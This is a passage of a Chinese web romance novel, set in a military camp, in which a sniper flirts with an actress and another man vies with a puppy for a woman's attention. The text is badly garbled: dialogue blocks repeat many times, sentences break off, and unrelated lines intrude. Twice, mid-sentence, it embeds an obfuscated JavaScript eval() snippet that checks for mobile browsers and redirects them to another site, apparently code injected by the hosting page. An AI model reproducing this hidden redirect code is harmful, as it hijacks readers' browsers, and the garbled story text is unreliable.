唐婷连忙摇头:“没有,我怕的是老鼠,不是你。” 大拿用没打石膏的那只手摸了摸后脑勺,松了口气说:“那就好,我还以为……” 当兵太多年,身边都是一群欠嗖嗖的损友和跳进河里就洗澡的糙老爷们。 以后还得三思而后行。 唐婷个性直接,压根没去想他只把话说一半的原因,而是忽闪着眼睫问:“抱歉,我刚刚没听清,你能再重复一下么?还以为什么?” 现实里的她本人比电视剧镜头里的角色还要来得更靓丽,让人压根就舍不得挪开眼睛。 大拿一边用爱美之心人皆有之的借口安慰自己,一边目不转睛的对上了她的目光,哑声解释说:“没什么,只是我没想到那只老鼠竟然那么大,看来军营里也是该提高一下卫生水平了。” 他果断把黑锅甩给不知所踪的老鼠,并且不忘把炊事班里的熟人们拖下水:“他们最近实在是太不像话了,怎么保证食品安全?” 唐婷以为他是真的在严肃对待这件事,连忙帮着辩解:“天气热,这里离食堂后厨又近,有老鼠是没办法的事,这点小事就别放在心上了。” 大拿连连点头,借坡下驴道:“你说的有道理,对了,你明天有时间么?” 话题转的略显生硬,但唐婷还是没有丝毫怀疑的表示:“当然有啊,我下个剧组要连半个个月后再进去呢,离开这里之前每天都有时 间。” 现在她最要紧的任务就是了解跟狙击手有关的一切。 大拿不需要唐婷多说什么,主动表示:“那好,明天开始我就教你认识**吧,虽然相关技能无法速成,但现学现卖还是没问题的,到时候你说不定还能跟剧组里的道具师交流一下呢。” 他身为狙击手,毫无疑问的是个**通,这世上只有别人想不出的**,还没有他不了解的**。 唐婷经过大半天的相处,对大拿已然是充满了崇拜,这时便学习欲望爆棚的当场拜大拿为师道:“太好了,我刚刚还在担心自己对**毫无了解,演女狙击手容易露馅来着。” 大拿神情认真的冲着她一点头:“那……明天见?” 唐婷重重点头:“你真愿意教我吗?我听阿凝说过,你可是神**啊!教我这种小菜鸡会不会太大材小用了?” 大拿挑了挑眉,轻声说:“神**也是从菜鸟练过来的。” “那你别嫌弃我菜啊,我真的一点底子都没有。” 大拿的声音温柔了许多:“术业有专攻,你演戏演的不错。” “你看过?”唐婷惊讶地张大了嘴巴:“我演的可都是偶像剧啊,你……也看?” 大拿一时失言,有点后悔自己一时嘴快说漏了,勉强找补道:“咳咳,看其他兄弟们在看,我就扫了两眼。” 唐婷似懂非懂地点了点头:“那你这个兄弟品味还挺……别具一格的。” “嗯,”大拿面不改色心不跳:“萝卜青菜各有所爱,偶像剧也没规定只有小女生才可以看,只要让人觉得轻松愉快,那就是好作品。” 唐婷想了想,微微低着头:“我知道,你是因为阿凝的关系,所以才答应教我的。你也不用昧着良心夸我,我的演技有几斤几两,我自己心里清楚。” “你不用这么妄自菲薄,我相信总有一天你会成为影后的。” 唐婷噗嗤一声笑了:“还影后呢,算了吧,我也就是演演偶像剧的命。” “我不懂什么演技,我觉得你演的很好。” 唐婷心情好了一些,“大拿,你人真好。” “那我能也问你一个问题么?” “当然可以了,你问呗!” 大拿顿了一下,问道:“你跟你上部戏的那个男主角杜晓枫……是在恋爱吗?” 唐婷顿时啼笑皆非:“真没想到,你看起来一本正经的,没想到还挺八卦。” “所以,有吗?” “他是个钙啦,喜欢男孩子的,当 然不可能跟我谈恋爱啊!话说你怎么会问这种问题,你在哪看的?” 大拿:“热搜上。” “噗……” “还有你去年那部电影的男主角,裴均,你们……有因戏生情吗?” 唐婷一脸无语:“他也是钙啦。当时是为了电影炒作CP而已。” 大拿点了点头:“你们圈里的男演员,钙还挺多。” “确实,”唐婷悄咪咪说:“钙多,嫂子也多,男嫂子女嫂子都多。” 大拿微微笑开:“人都有情感需求。” “不过你怎么会知道这么多哦,连我的花边绯闻都知道。” “……帮兄弟问的。” “就是看我偶像剧的那个兄弟?” “嗯,他……喜欢你。” 唐婷立刻说:“既然是你兄弟的话,明天叫他一起来吧,我可以跟他合照啊!” “不用了,他不配。” “别这样说嘛,人家好歹也是我的粉丝。” 大拿的喉结上下滚了滚:“那我回去问问他愿不愿意。” “好。” “唐婷。” “嗯?” “他还有个问题想让我帮他问问。” “可以啊,什么问题?” “你……现在单身吗?” 然不可能跟我谈恋爱啊!话说你怎么会问这种问题,你在哪看的?” 大拿:“热搜上。” “噗……” “还有你去年那部电影的男主角,裴均,你们……有因戏生情吗?” 唐婷一脸无语:“他也是钙啦。当时是为了电影炒作CP而已。” 大拿点了点头:“你们圈里的男演员,钙还挺多。” “确实,”唐婷悄咪咪说:“钙多,嫂子也多,男嫂子女嫂子都多。” 大拿微微笑开:“人都有情感需求。” “不过你怎么会知道这么多哦,连我的花边绯闻都知道。” “……帮兄弟问的。” “就是看我偶像剧的那个兄弟?” “嗯,他……喜欢你。” 唐婷立刻说:“既然是你兄弟的话,明天叫他一起来吧,我可以跟他合照啊!” “不用了,他不配。” “别这样说嘛,人家好歹也是我的粉丝。” 大拿的喉结上下滚了滚:“那我回去问问他愿不愿意。” “好。” “唐婷。” “嗯?” “他还有个问题想让我帮他问问。” “可以啊,什么问题?” “你……现在单身吗?” 然不可能跟我谈恋爱啊!话说你怎么会问这种问题,你在哪看的?” 大拿:“热搜上。” “噗……” “还有你去年那部电影的男主角,裴均,你们……有因戏生情吗?” 唐婷一脸无语:“他也是钙啦。当时是为了电影炒作CP而已。” 大拿点了点头:“你们圈里的男演员,钙还挺多。” “确实,”唐婷悄咪咪说:“钙多,嫂子也多,男嫂子女嫂子都多。” 大拿微微笑开:“人都有情感需求。” “不过你怎么会知道这么多哦,连我的花边绯闻都知道。” “……帮兄弟问的。” “就是看我偶像剧的那个兄弟?” “嗯,他……喜欢你。” 唐婷立刻说:“既然是你兄弟的话,明天叫他一起来吧,我可以跟他合照啊!” “不用了,他不配。” “别这样说嘛,人家好歹也是我的粉丝。” 大拿的喉结上下滚了滚:“那我回去问问他愿不愿意。” “好。” “唐婷。” “嗯?” “他还有个问题想让我帮他问问。” “可以啊,什么问题?” “你……现在单身吗?” 然不可能跟我谈恋爱啊!话说你怎么会问这种问题,你在哪看的?” 大拿:“热搜上。” “噗……” “还有你去年那部电影的男主角,裴均,你们……有因戏生情吗?” 唐婷一脸无语:“他也是钙啦。当时是为了电影炒作CP而已。” 大拿点了点头:“你们圈里的男演员,钙还挺多。” “确实,”唐婷悄咪咪说:“钙多,嫂子也多,男嫂子女嫂子都多。” 大拿微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“唐婷。” “嗯?” “他还有个问题想让我帮他问问。” “可以啊,什么问题?” “你……现在单身吗?” 然不可能跟我谈恋爱啊!话说你怎么会问这种问题,你在哪看的?” 大拿:“热搜上。” “噗……” “还有你去年那部电影的男主角,裴均,你们……有因戏生情吗?” 唐婷一脸无语:“他也是钙啦。当时是为了电影炒作CP而已。” 大拿点了点头:“你们圈里的男演员,钙还挺多。” “确实,”唐婷悄咪咪说:“钙多,嫂子也多,男嫂子女嫂子都多。” 大拿微微笑开:“人都有情感需求。” “不过你怎么会知道这么多哦,连我的花边绯闻都知道。” “……帮兄弟问的。” “就是看我偶像剧的那个兄弟?” “嗯,他……喜欢你。” 唐婷立刻说:“既然是你兄弟的话,明天叫他一起来吧,我可以跟他合照啊!” “不用了,他不配。” “别这样说嘛,人家好歹也是我的粉丝。” 大拿的喉结上下滚了滚:“那我回去问问他愿不愿意。” “好。” “唐婷。” “嗯?” “他还有个问题想让我帮他问问。” “可以啊,什么问题?” “你……现在单身吗?” 然不可能跟我谈恋爱啊!话说你怎么会问这种问题,你在哪看的?” 大拿:“热搜上。” “噗……” “还有你去年那部电影的男主角,裴均,你们……有因戏生情吗?” 唐婷一脸无语:“他也是钙啦。当时是为了电影炒作CP而已。” 大拿点了点头:“你们圈里的男演员,钙还挺多。” “确实,”唐婷悄咪咪说:“钙多,嫂子也多,男嫂子女嫂子都多。” 大拿微微笑开:“人都有情感需求。” “不过你怎么会知道这么多哦,连我的花边绯闻都知道。” “……帮兄弟问的。” “就是看我偶像剧的那个兄弟?” “嗯,他……喜欢你。” 唐婷立刻说:“既然是你兄弟的话,明天叫他一起来吧,我可以跟他合照啊!” “不用了,他不配。” “别这样说嘛,人家好歹也是我的粉丝。” 大拿的喉结上下滚了滚:“那我回去问问他愿不愿意。” “好。” “唐婷。” “嗯?” “他还有个问题想让我帮他问问。” “可以啊,什么问题?” “你……现在单身吗?” 第一百九十四章 老天安排最大啦 唐婷啧啧有声:“原来他还是我男友粉啊?” “什么叫男友粉?” “就是想当我男朋友的那种粉丝。” “哦那应该算是。” 唐婷说的很坦然:“我一直是单身从进入这个圈子开始就没交过男朋友。” 大拿眼尾地弧度肉眼可见地大了一些:“是因为没遇到合适的吗?” “啧啧这些人啊要么税要么睡一屁股烂事 “那你以后打算找圈外的男朋友?” “应该吧现在我还没想那么多。” 大拿不自觉站直了身体:“嗯不急说不定什么时候就遇到合适的了。” 唐婷哈哈笑:“看老天安排吧我是不急。” 两人在操场边缘站了许久直到月亮的方向发生偏移才往别处走去而大拿明明住在相反的方向却还是坚持要送她回宿舍。 这里是军营说是附近最安全的地方都不为过他这么做只可能是为了跟她多待一会儿。 宋凝站在树影里默默望着他们离去的方向看了许久直到他们消失在视野范围内才对身边的丁予期问到:“你觉得他们两个之间的氛围怎么样?” 她心里其实已经有答案了只是事关闺蜜的感情问题还是难免会发生摇摆。 丁予期抬手撑起下巴做沉思状道:“有眼睛都能看出来的程度吧。” 他就差直说大拿明显是想追求唐婷却又不知道该如何主动出击了这时将反问:“你们女孩子会不会因为军婚聚少离多而不想找个军人结婚?” “当然不会。”宋凝斩钉截铁的表示“喜欢一个人不需要理由不喜欢一个人才需要理由而且他们两个才认识没几天你总该给他们留些缓冲空间哪里有一来就想让他们结婚的道理……” 丁予期勾了勾唇角眉梢眼角闪过一抹藏不住的伤感然后自觉把话题转回去问:“我在酒店里遇到过类似的事现在想来他们的供应链还算有但现在对一些供应商来说相比于眼巴巴的回款倒不如先扩大生产线重要。” 这话说的实在是太真实了反而因此显得别扭起来让人无法联想到眼前发发生的事。 宋凝凝望着身边人的侧脸一本正经的问:“接下来我有个问题要问你千万认真回答。” 丁予期没有确认任何事而是先点头表示:“你说。” 就算她想要星星月亮他也一定会想办法帮她完成心愿故而在他看 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 来,任何要求都不过分。 可宋凝当真只是问:“千万认真回答我,你觉得他们两个人在一起合适么?” 这里的他们两个指的自然是目前八字没一撇的大拿和唐婷,仅仅有暧昧的氛围是不够的。 “没什么不合适的。”丁予期拿出了从前做律师时的口才,推己及人道,“凡事总该试过才知道,唐婷这个职业……身边的保镖如果是自己人的话,会可靠安全许多。” 退伍的狙击手也是狙击手,傅东擎灭口失败,可对大拿的情况也只能束手无策,毕竟没人想到丁予期的好兄弟竟然会做到这一步。 宋凝听的眼前一亮:“你不说的话,我差一点都忘了,大拿细论起来根本是这边最专业的人士,有他教唐婷的话,这个角色说就是给他们准备的都不为过。” “他为人靠谱,武力值也拿得出手,除了在事业上能帮唐婷,就算在生活里也能请到保镖,有这样水准的也很厉害了……” 她越理越开心,是总算想到了除躲着以外的最好的解决办法。 欺软怕硬是人类的天性,目前去抢夺的多是年轻人,他们跟巡视货物一样到处转,让人忍不住在心底腹诽。 傅东擎的势力和能力都不足以支持他冲到军营里来威胁他们,而大拿的存在更是足以保护好唐婷,有这样一个成熟稳重,武力值又高的人在她身边,宋凝都觉得放心了许多。 丁予期兜了这么大的圈子,费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263766|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这么多的心思,为的就是让宋凝开心些,这时见她果然放心了不少,温声道:“时间不早了,不如我们先回去休息吧。” 这几天他因为陈老爷子安排的晚训,总是早出晚归,当他回宿舍休息时,宋凝往往早就已经躺在床上睡熟了,为此他每次都轻手轻脚的洗漱,生怕会吵醒了她,今晚他们总算能一起回去了。 宋凝正在为大拿和唐婷的事感到欣慰,并没有多想或者多在意身边人的变化,哪怕他不动声色的靠近了她,彼此间的距离更是近到指尖都快要相触的地步。 丁予期指尖微颤,稍微再往旁边挪一下就能牵起她的手,可他最终还是克制住了。 再等一阵吧,就再等一阵,他会等到她真正接受他的那一天,再在只有他们两个的时候牵起她的手。 这天晚上,丁予期和宋凝隔着两张帘子各自安眠,都在对方绵长的呼吸声中睡的安然。 第二天一大早,军营里的号角声照例响起,宋凝并没有听到昨晚大拿和唐婷具体说了什么,特意起了个大早去训练场等他们两个,不成想在见到他们之前先见到了神秘兮兮的老姚。 “小嫂子!”老姚右手拎着个不知道从哪里找来的布袋子,见宋凝正站在训练场边缘看其他人训练,理所当然以为她是来等丁予期的,更加热情的表示,“我昨天从基地回来,带了个礼物。” 他经过萝卜的提醒,已经意识到昨晚说错了话,于是为了找补回来,特意带了这个礼物回来将功折罪。 宋凝见袋子里面似乎有什么东西在动,好奇的俯下身去看。 下一秒,一个巴掌大的毛茸茸的脑袋就在袋子口钻了出来,竟是一只白色的小狗,看起来十分活泼,一见到她就出声道:“汪呜!” 幼犬的声音听起来跟撒娇没有任何区别。 老姚啧啧称奇:“我把这小家伙抱回来的时候,它对我一直爱答不理的,没想到竟然跟你这么亲近,小嫂子,这说明你跟丁儿和这只小狗有缘分啊!” 第一百九十五章 跟狗争宠 他也算是开窍了,不仅嘴甜,说起话来还知道往丁予期那边靠一靠。 可天不从人愿,宋凝才刚把小狗抱到训练完的丁予期面前,小家伙就不出声了,并且吭哧吭哧的往她怀里钻,怎么看都不像是喜欢他。 场面顿时变得尴尬起来。 丁予期毕竟是能养好三只德牧犬的人,这时尚且没有意识到问题的严重性,他弯下腰去,手法娴熟的摸了摸小狗的脑袋,试图从它的特点入手打好关系,于是问老姚:“你从哪儿抱来的?” “基地那边老战友们养的串儿,应该是有点军犬血统,但顶多也就八分之一或者十六分之一。丁儿你放心,绝对没什么危险性,而且从它爹妈和同窝兄弟姐妹的血统看,以后不会长得太大。” 老姚不失得意的表示:“虽然我没有丁儿那么了解养狗的相关知识,但军犬和宠物狗的要求肯定是不一样的,陪嫂子解闷的宠物狗最好是长不大,而且越可爱越好。” 他挑的这只小狗显然串的非常成功,看体型也就是普通田园犬的大小,但是脸圆乎乎的,又是浅色长毛,看起来跟毛绒玩具没太大区别。 宋凝越看小狗越觉得可爱,把它搂在怀里爱不释手道:“小家伙,你长得这么可爱,就叫你……滚滚好不好?” 老姚一脸嫌弃:“这么可爱的小狗,为啥要叫个骂人的名字啊?” “不是骂人,”丁予期笑着解释:“这个名字有含义的。” 老姚一头雾水:“什么含义?” 滚雪球。 雪球在宋凝心里,地位永远在。 不管后面她还会养其他小狗,但雪球的位置是独一无二的。 滚滚呜呜叫了两声,看起来很喜欢这个名字。 宋凝立刻微笑着夸奖:“真棒。” 她专注无比的听着滚滚的叫声,完全没注意到与此同时丁予期也说了句什么,还是老姚一个劲儿的清嗓子跺脚,这才把她的注意力给吸引过去。 丁予期只好又无奈的重复了一遍:“你确定要养它了么?刚好我家里还有那三个家伙小时候用过的狗窝和狗玩具,可以拿来继续给它用。对了,我从前养狗有经验,兴许能够帮上你的忙。” 这个任务完全在他的舒适区,想完成没什么难的,可就在老姚不失得意的以为自己做对了的时候,宋凝却是说:“不用,我既然要养滚滚,当然应该改滚滚买新的。” 丁予期愣了一下:“那这几天怎么办?” 他刚刚都想好了,只要拜托瑞贝卡送些宠物用品过 来,接下来就能跟宋凝拉近距离,让彼此的感情升一下温了,但却架不住宋凝完全不按套路出牌。 接下来的半天里,他更是深切的体会到了什么叫人不如狗。 宋凝不知是觉得新鲜,还是被滚滚可爱的模样给迷住了。 待它爱不释手不说,还全身心的都投入到了它身上,别说给给丁予期表现的机会了,就连他的训练都不看了。 这样下去可不是办法。 丁予期视滚滚为眼中钉,却又不便更拉不下脸来跟几个月大的小狗争宠,无奈之下变着法子秀起了自己的优势。 训练间隙,老朋友们起哄让他展示一下这几年在外面健身的成功,他见宋凝正从对面走过来,二话不说,打着赤膊就做起了引体向上,并且是一鼓作气做了二十个没有停歇。 这番表现怎么看都算得上优秀了,然而等他悄悄去瞥宋凝的反应才发现,她压根就没往他这里多看哪怕一眼,而是一直在低头跟怀里的小狗说着什么,直到背影消失在他的视野范围里。 丁予期一颗心险些碎在当场,手下难免跟着打滑,结果一时不察,竟是直接从单杠上跌了下来,得亏他身手敏捷,及时撑住才没拉伤。 其他人一眼就看出他为什么失态,纷纷上前出谋划策:“丁哥,你别着急,嫂子天天看你秀肌肉,这再好看也会腻,要我说你得换个角度展示自己的长处,比如能让她眼前一亮的。” 丁予期看起来风轻云淡,其实早就急得快从心底冒火了,他仔细思索过后,倒是把其他人的话给听进去了,决定更改一下吸引宋凝注意力的路线。 天气这么热,没有人总是喜欢挨晒。 他天天在大太阳底下吸引她的注意力,她难免会腻,所以当务之急是换个舒服点的地方,至少让她别跟着挨晒。 丁予期深思熟虑过后,选择邀请宋凝去军营陈列室转一圈。 老姚他们得知此事,不约而同的交换了目光,然后各自寻了由头,表示就不陪着一起去了。 唐婷不放心,还想跟着一起,但大拿及时出马,表示要带她去看狙击手训练,这才给劝走。 祝如星不用任何人劝,自己就知道给他们创造空间,举着相机表示:“陈列室这种地方涉密,我就不去了,等你们逛完了,我再去凑热闹。” 她走的极快,连相机带子都在身后飘起来了。 宋凝怀里抱着小狗,无奈叹了口气:“这可怎么办?本来还想拍几张照的。” 丁予期理所当然的以为她是在跟自己说话,连忙温声应道:“这有什么?不过是小事罢了,我可以帮你拍,其实陈列室不涉密,只要你不随便把照片往外发也就是了。” 回应他的是宋凝的停顿和欲言又止的表情。 丁予期越发关切道:“怎么了?是还有别的顾虑么?” “那倒没有。”宋凝怀里抱着滚滚,不失尴尬的解释道,“其实我刚刚是在跟滚滚说话,想拍的照片也是让星星给它拍几张纪念照,毕竟她是专业的,这里只有她拍照最好看。” 丁予期一口气梗在喉头:“我也可以帮它拍。” 他理智上知道跟滚滚这样的小狗争宠实在是显得幼稚,也很清楚宋凝大概率就是图个新鲜,等过阵子就没这么稀罕了,但情感上还是按捺不住的在吃醋。 宋凝对此毫无察觉,只一手握住滚滚的小爪子,一手托住它的身体说:“时间太晚了,我还是等等星星吧。” 来,接下来就能跟宋凝拉近距离,让彼此的感情升一下温了,但却架不住宋凝完全不按套路出牌。 接下来的半天里,他更是深切的体会到了什么叫人不如狗。 宋凝不知是觉得新鲜,还是被滚滚可爱的模样给迷住了。 待它爱不释手不说,还全身心的都投入到了它身上,别说给给丁予期表现的机会了,就连他的训练都不看了。 这样下去可不是办法。 丁予期视滚滚为眼中钉,却又不便更拉不下脸来跟几个月大的小狗争宠,无奈之下变着法子秀起了自己的优势。 训练间隙,老朋友们起哄让他展示一下这几年在外面健身的成功,他见宋凝正从对面走过来,二话不说,打着赤膊就做起了引体向上,并且是一鼓作气做了二十个没有停歇。 这番表现怎么看都算得上优秀了,然而等他悄悄去瞥宋凝的反应才发现,她压根就没往他这里多看哪怕一眼,而是一直在低头跟怀里的小狗说着什么,直到背影消失在他的视野范围里。 丁予期一颗心险些碎在当场,手下难免跟着打滑,结果一时不察,竟是直接从单杠上跌了下来,得亏他身手敏捷,及时撑住才没拉伤。 其他人一眼就看出他为什么失态,纷纷上前出谋划策:“丁哥,你别着急,嫂子天天看你秀肌肉,这再好看也会腻,要我说你得换个角度展示自己的长处,比如能让她眼前一亮的。” 丁予期看起来风轻云淡,其实早就急得快从心底冒火了,他仔细思索过后,倒是把其他人的话给听进去了,决定更改一下吸引宋凝注意力的路线。 天气这么热,没有人总是喜欢挨晒。 他天天在大太阳底下吸引她的注意力,她难免会腻,所以当务之急是换个舒服点的地方,至少让她别跟着挨晒。 丁予期深思熟虑过后,选择邀请宋凝去军营陈列室转一圈。 老姚他们得知此事,不约而同的交换了目光,然后各自寻了由头,表示就不陪着一起去了。 唐婷不放心,还想跟着一起,但大拿及时出马,表示要带她去看狙击手训练,这才给劝走。 祝如星不用任何人劝,自己就知道给他们创造空间,举着相机表示:“陈列室这种地方涉密,我就不去了,等你们逛完了,我再去凑热闹。” 她走的极快,连相机带子都在身后飘起来了。 宋凝怀里抱着小狗,无奈叹了口气:“这可怎么办?本来还想拍几张照的。” 丁予期理所当然的以为她是在跟自己说话,连忙温声应道:“这有什么?不过是小事罢了,我可以帮你拍,其实陈列室不涉密,只要你不随便把照片往外发也就是了。” 回应他的是宋凝的停顿和欲言又止的表情。 丁予期越发关切道:“怎么了?是还有别的顾虑么?” “那倒没有。”宋凝怀里抱着滚滚,不失尴尬的解释道,“其实我刚刚是在跟滚滚说话,想拍的照片也是让星星给它拍几张纪念照,毕竟她是专业的,这里只有她拍照最好看。” 丁予期一口气梗在喉头:“我也可以帮它拍。” 他理智上知道跟滚滚这样的小狗争宠实在是显得幼稚,也很清楚宋凝大概率就是图个新鲜,等过阵子就没这么稀罕了,但情感上还是按捺不住的在吃醋。 宋凝对此毫无察觉,只一手握住滚滚的小爪子,一手托住它的身体说:“时间太晚了,我还是等等星星吧。” 来,接下来就能跟宋凝拉近距离,让彼此的感情升一下温了,但却架不住宋凝完全不按套路出牌。 接下来的半天里,他更是深切的体会到了什么叫人不如狗。 宋凝不知是觉得新鲜,还是被滚滚可爱的模样给迷住了。 待它爱不释手不说,还全身心的都投入到了它身上,别说给给丁予期表现的机会了,就连他的训练都不看了。 这样下去可不是办法。 丁予期视滚滚为眼中钉,却又不便更拉不下脸来跟几个月大的小狗争宠,无奈之下变着法子秀起了自己的优势。 训练间隙,老朋友们起哄让他展示一下这几年在外面健身的成功,他见宋凝正从对面走过来,二话不说,打着赤膊就做起了引体向上,并且是一鼓作气做了二十个没有停歇。 这番表现怎么看都算得上优秀了,然而等他悄悄去瞥宋凝的反应才发现,她压根就没往他这里多看哪怕一眼,而是一直在低头跟怀里的小狗说着什么,直到背影消失在他的视野范围里。 丁予期一颗心险些碎在当场,手下难免跟着打滑,结果一时不察,竟是直接从单杠上跌了下来,得亏他身手敏捷,及时撑住才没拉伤。 其他人一眼就看出他为什么失态,纷纷上前出谋划策:“丁哥,你别着急,嫂子天天看你秀肌肉,这再好看也会腻,要我说你得换个角度展示自己的长处,比如能让她眼前一亮的。” 丁予期看起来风轻云淡,其实早就急得快从心底冒火了,他仔细思索过后,倒是把其他人的话给听进去了,决定更改一下吸引宋凝注意力的路线。 天气这么热,没有人总是喜欢挨晒。 他天天在大太阳底下吸引她的注意力,她难免会腻,所以当务之急是换个舒服点的地方,至少让她别跟着挨晒。 丁予期深思熟虑过后,选择邀请宋凝去军营陈列室转一圈。 老姚他们得知此事,不约而同的交换了目光,然后各自寻了由头,表示就不陪着一起去了。 唐婷不放心,还想跟着一起,但大拿及时出马,表示要带她去看狙击手训练,这才给劝走。 祝如星不用任何人劝,自己就知道给他们创造空间,举着相机表示:“陈列室这种地方涉密,我就不去了,等你们逛完了,我再去凑热闹。” 她走的极快,连相机带子都在身后飘起来了。 宋凝怀里抱着小狗,无奈叹了口气:“这可怎么办?本来还想拍几张照的。” 丁予期理所当然的以为她是在跟自己说话,连忙温声应道:“这有什么?不过是小事罢了,我可以帮你拍,其实陈列室不涉密,只要你不随便把照片往外发也就是了。” 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唐婷不放心,还想跟着一起,但大拿及时出马,表示要带她去看狙击手训练,这才给劝走。 祝如星不用任何人劝,自己就知道给他们创造空间,举着相机表示:“陈列室这种地方涉密,我就不去了,等你们逛完了,我再去凑热闹。” 她走的极快,连相机带子都在身后飘起来了。 宋凝怀里抱着小狗,无奈叹了口气:“这可怎么办?本来还想拍几张照的。” 丁予期理所当然的以为她是在跟自己说话,连忙温声应道:“这有什么?不过是小事罢了,我可以帮你拍,其实陈列室不涉密,只要你不随便把照片往外发也就是了。” 回应他的是宋凝的停顿和欲言又止的表情。 丁予期越发关切道:“怎么了?是还有别的顾虑么?” “那倒没有。”宋凝怀里抱着滚滚,不失尴尬的解释道,“其实我刚刚是在跟滚滚说话,想拍的照片也是让星星给它拍几张纪念照,毕竟她是专业的,这里只有她拍照最好看。” 丁予期一口气梗在喉头:“我也可以帮它拍。” 他理智上知道跟滚滚这样的小狗争宠实在是显得幼稚,也很清楚宋凝大概率就是图个新鲜,等过阵子就没这么稀罕了,但情感上还是按捺不住的在吃醋。 宋凝对此毫无察觉,只一手握住滚滚的小爪子,一手托住它的身体说:“时间太晚了,我还是等等星星吧。” 来,接下来就能跟宋凝拉近距离,让彼此的感情升一下温了,但却架不住宋凝完全不按套路出牌。 接下来的半天里,他更是深切的体会到了什么叫人不如狗。 宋凝不知是觉得新鲜,还是被滚滚可爱的模样给迷住了。 待它爱不释手不说,还全身心的都投入到了它身上,别说给给丁予期表现的机会了,就连他的训练都不看了。 这样下去可不是办法。 丁予期视滚滚为眼中钉,却又不便更拉不下脸来跟几个月大的小狗争宠,无奈之下变着法子秀起了自己的优势。 训练间隙,老朋友们起哄让他展示一下这几年在外面健身的成功,他见宋凝正从对面走过来,二话不说,打着赤膊就做起了引体向上,并且是一鼓作气做了二十个没有停歇。 这番表现怎么看都算得上优秀了,然而等他悄悄去瞥宋凝的反应才发现,她压根就没往他这里多看哪怕一眼,而是一直在低头跟怀里的小狗说着什么,直到背影消失在他的视野范围里。 丁予期一颗心险些碎在当场,手下难免跟着打滑,结果一时不察,竟是直接从单杠上跌了下来,得亏他身手敏捷,及时撑住才没拉伤。 其他人一眼就看出他为什么失态,纷纷上前出谋划策:“丁哥,你别着急,嫂子天天看你秀肌肉,这再好看也会腻,要我说你得换个角度展示自己的长处,比如能让她眼前一亮的。” 丁予期看起来风轻云淡,其实早就急得快从心底冒火了,他仔细思索过后,倒是把其他人的话给听进去了,决定更改一下吸引宋凝注意力的路线。 天气这么热,没有人总是喜欢挨晒。 他天天在大太阳底下吸引她的注意力,她难免会腻,所以当务之急是换个舒服点的地方,至少让她别跟着挨晒。 丁予期深思熟虑过后,选择邀请宋凝去军营陈列室转一圈。 老姚他们得知此事,不约而同的交换了目光,然后各自寻了由头,表示就不陪着一起去了。 唐婷不放心,还想跟着一起,但大拿及时出马,表示要带她去看狙击手训练,这才给劝走。 祝如星不用任何人劝,自己就知道给他们创造空间,举着相机表示:“陈列室这种地方涉密,我就不去了,等你们逛完了,我再去凑热闹。” 她走的极快,连相机带子都在身后飘起来了。 宋凝怀里抱着小狗,无奈叹了口气:“这可怎么办?本来还想拍几张照的。” 丁予期理所当然的以为她是在跟自己说话,连忙温声应道:“这有什么?不过是小事罢了,我可以帮你拍,其实陈列室不涉密,只要你不随便把照片往外发也就是了。” 回应他的是宋凝的停顿和欲言又止的表情。 丁予期越发关切道:“怎么了?是还有别的顾虑么?” “那倒没有。”宋凝怀里抱着滚滚,不失尴尬的解释道,“其实我刚刚是在跟滚滚说话,想拍的照片也是让星星给它拍几张纪念照,毕竟她是专业的,这里只有她拍照最好看。” 丁予期一口气梗在喉头:“我也可以帮它拍。” 他理智上知道跟滚滚这样的小狗争宠实在是显得幼稚,也很清楚宋凝大概率就是图个新鲜,等过阵子就没这么稀罕了,但情感上还是按捺不住的在吃醋。 宋凝对此毫无察觉,只一手握住滚滚的小爪子,一手托住它的身体说:“时间太晚了,我还是等等星星吧。” 来,接下来就能跟宋凝拉近距离,让彼此的感情升一下温了,但却架不住宋凝完全不按套路出牌。 接下来的半天里,他更是深切的体会到了什么叫人不如狗。 宋凝不知是觉得新鲜,还是被滚滚可爱的模样给迷住了。 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其他人一眼就看出他为什么失态,纷纷上前出谋划策:“丁哥,你别着急,嫂子天天看你秀肌肉,这再好看也会腻,要我说你得换个角度展示自己的长处,比如能让她眼前一亮的。” 丁予期看起来风轻云淡,其实早就急得快从心底冒火了,他仔细思索过后,倒是把其他人的话给听进去了,决定更改一下吸引宋凝注意力的路线。 天气这么热,没有人总是喜欢挨晒。 他天天在大太阳底下吸引她的注意力,她难免会腻,所以当务之急是换个舒服点的地方,至少让她别跟着挨晒。 丁予期深思熟虑过后,选择邀请宋凝去军营陈列室转一圈。 老姚他们得知此事,不约而同的交换了目光,然后各自寻了由头,表示就不陪着一起去了。 唐婷不放心,还想跟着一起,但大拿及时出马,表示要带她去看狙击手训练,这才给劝走。 祝如星不用任何人劝,自己就知道给他们创造空间,举着相机表示:“陈列室这种地方涉密,我就不去了,等你们逛完了,我再去凑热闹。” 她走的极快,连相机带子都在身后飘起来了。 宋凝怀里抱着小狗,无奈叹了口气:“这可怎么办?本来还想拍几张照的。” 丁予期理所当然的以为她是在跟自己说话,连忙温声应道:“这有什么?不过是小事罢了,我可以帮你拍,其实陈列室不涉密,只要你不随便把照片往外发也就是了。” 回应他的是宋凝的停顿和欲言又止的表情。 丁予期越发关切道:“怎么了?是还有别的顾虑么?” “那倒没有。”宋凝怀里抱着滚滚,不失尴尬的解释道,“其实我刚刚是在跟滚滚说话,想拍的照片也是让星星给它拍几张纪念照,毕竟她是专业的,这里只有她拍照最好看。” 丁予期一口气梗在喉头:“我也可以帮它拍。” 他理智上知道跟滚滚这样的小狗争宠实在是显得幼稚,也很清楚宋凝大概率就是图个新鲜,等过阵子就没这么稀罕了,但情感上还是按捺不住的在吃醋。 宋凝对此毫无察觉,只一手握住滚滚的小爪子,一手托住它的身体说:“时间太晚了,我还是等等星星吧。” 